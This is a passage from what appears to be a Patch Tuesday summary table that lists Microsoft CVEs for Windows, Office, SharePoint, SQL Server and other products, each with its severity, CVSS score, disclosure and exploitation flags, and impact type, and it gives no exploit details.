Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation 